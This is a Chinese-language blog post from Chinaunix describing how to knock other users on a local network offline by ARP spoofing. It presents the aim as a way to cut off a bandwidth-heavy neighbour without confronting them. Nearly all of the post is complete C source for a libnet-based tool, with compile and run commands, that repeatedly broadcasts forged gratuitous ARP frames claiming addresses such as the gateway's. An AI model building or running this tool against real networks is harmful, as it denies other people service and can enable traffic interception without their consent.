Chinaunix首页 | 论坛 | 博客
  • 博客访问: 676268
  • 博文数量: 156
  • 博客积分: 6010
  • 博客等级: 准将
  • 技术积分: 1201
  • 用 户 组: 普通用户
  • 注册时间: 2007-05-05 20:08
文章分类

全部博文(156)

文章存档

2010年(13)

2008年(39)

2007年(104)

我的朋友

分类: LINUX

2010-05-17 12:28:51

以前读书时代,windows上有个网络软件叫"网络执法官",相信很多朋友都用过,局域网中发 现谁在bt,自己网页都打不开,很不爽,直接去跟他说恐怕又得罪人,怎么办,打开网络执法官,简单配置一下,让他上不了网.

当然现在的网络执法官版本功能已经很丰富了,但其原理还是跟以前一样,利用了arp欺骗,填上想要伪造的网关地址,然后网络执法官会在lan内广播免费 arp报文,其余机器就出不了外网了.一句话:很强,很暴力!

Linux上实现,需要直接构造arp帧,利用其他技术,非常复杂,而用libnet这个开源库,核心代码 只要几十行即可搞定.

大多数linux发行版和其他unix系统都自带了libnet. 看看你的系统中有没有libnet-config这个命令即可知道.
没有的可以到它的主页下载安装:


另外请确认你的系统上的是1.1还是1.0版本,两个版本API很不一样,这里用的是最新的1.1,如果你不是,请升级.


gcc garp.c -o garp -lnet



运行:
-h看命令行,
-f指定出接口,没指定的话会自带选择一个接口,
-t指定免费arp包的发送间隔时间,默认5秒,
:
./garp -f eth0 192.168.1.1 192.168.2.1




#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <libnet.h>

#define MAX_IP_NUM 32

static char *pname = "";
static char *ifname = NULL;
static struct in_addr ipaddrs[MAX_IP_NUM];
static int timer = 5;


static int
get_hw_addr(char *dev, unsigned char macbuf[6])
{
        libnet_t *l;
        char errbuf[LIBNET_ERRBUF_SIZE] = "";
        struct libnet_ether_addr *mac;

        l = libnet_init(LIBNET_LINK, dev, errbuf);
        if (!l) {
                fprintf(stderr, "libnet_init: %s\n", errbuf);
                return -1;
        }

        mac = libnet_get_hwaddr(l);
        if (!mac) {
                fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
                libnet_destroy(l);
                return -1;
        }

        memcpy(macbuf, mac->ether_addr_octet, 6);

        libnet_destroy(l);
        
        return 0;
}

static int
send_garp(char *ifname, long ipaddr)
{
        unsigned char bcast_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
        unsigned char zero_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
        unsigned char mymac[6] = {0x00};
        libnet_t *l;
        char errbuf[LIBNET_ERRBUF_SIZE] = "";
        int i, ret = 0;

        if (get_hw_addr(ifname, mymac) != 0) {
                return -1;
        }

        l = libnet_init(LIBNET_LINK, ifname, errbuf);
        if (!l) {
                fprintf(stderr, "libnet_init: %s\n", errbuf);
                return -1;
        }

        for (i = 0; i < 2; i++) {
                
                if (libnet_build_arp(ARPHRD_ETHER, /* hardware address type */
                        ETHERTYPE_IP, /* protocol address type */
                        6, /* Hardware address length */
                        4, /* protocol address length */
                        (i == 0) ? ARPOP_REQUEST : ARPOP_REPLY, /* ARP operation type */
                        mymac, /* sender Hardware address */
                        (unsigned char *)&ipaddr, /* sender protocol address */
                        (i == 0) ? zero_mac : mymac, /* target hardware address */
                        (unsigned char *)&ipaddr, /* target protocol address */
                        NULL, /* Payload */
                        0, /* Length of payload */
                        l, /* libnet context pointer */
                        0 /* packet id */
                ) == -1 ) {
                        fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(l));
                        ret = -1;
                        break;
                }

                if (libnet_build_ethernet(bcast_mac, mymac, ETHERTYPE_ARP, NULL, 0,
                        l, 0) == -1 ) {
                        fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(l));
                        ret = -1;
                        break;
                }

                if (libnet_write(l) == -1) {
                        fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
                        ret = -1;
                        break;
                }

                libnet_clear_packet(l);

                if (i == 0) {
                        struct timespec ts;
                        ts.tv_sec = 0;
                        ts.tv_nsec = 500 * 1000 * 1000; /* sleep 500 ms between the two frame. */
                        nanosleep(&ts, NULL);
                }
        }

        libnet_destroy(l);

        return ret;
}

static void
usage(void)
{
        fprintf(stdout, "Usage:\n"
                                " %s [-h] [-f interface] [-t time] ipaddr1 [ipaddr2 ipaddr3 ...]\n",
                                pname);
}

int
main(int argc, char *argv[])
{
        int ret, opt, i;
        struct timeval tv;
        int errnum;
        
        pname = strrchr(argv[0], '/');
        if (pname)
                pname++;
        else
                pname = argv[0];

        while ((opt = getopt(argc, argv, "hf:t:")) != -1) {
                switch (opt) {
                        case 'h':
                                usage();
                                exit(0);
                                break;
                        case 'f':
                                ifname = strdup(optarg);
                                if (!ifname) {
                                        fprintf(stderr, "strdup failed.\n");
                                        exit(-1);
                                }
                                break;
                        case 't':
                                timer = atoi(optarg);
                                if (timer <= 0) {
                                        fprintf(stderr, "timer value is invalid.\n");
                                        exit(-1);
                                }
                                break;
                        default:
                                usage();
                                exit(0);
                                break;
                
                }
                
        }

        if (optind >= argc) {
                usage();
                exit(-1);
        }

        i = 0;
        while (optind < argc && i < MAX_IP_NUM) {
                if (inet_aton(argv[optind], &ipaddrs[i]) == 0) {
                        fprintf(stderr, "ip addr error.\n");
                        exit(-1);
                }
                optind++;
                i ++;
        }

        fprintf(stdout, "ifname: %s, timer: %d\n",
                ifname ? ifname : "",
                timer);

        fprintf(stdout, "ip:\n");
        i = 0;
        while (ipaddrs[i].s_addr && i < MAX_IP_NUM) {
                fprintf(stdout, " %s\n", inet_ntoa(ipaddrs[i]));
                i++;
        }

        errnum = 0;
        while (1) {
                tv.tv_sec = timer;
                tv.tv_usec = 0;

                ret = select(0, NULL, NULL, NULL, &tv);
                if (ret < 0) {
                        if (errno == EINTR || errno == EAGAIN)
                                continue;
                        perror("select");
                        exit(-1);
                }

                i = 0;
                while (ipaddrs[i].s_addr && i < MAX_IP_NUM) {
                        if (send_garp(ifname, ipaddrs[i].s_addr) < 0)
                                errnum++;
                        i ++;
                }

                if (errnum >= 10)
                        break;
        }

        exit(0);
}


阅读(2166) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~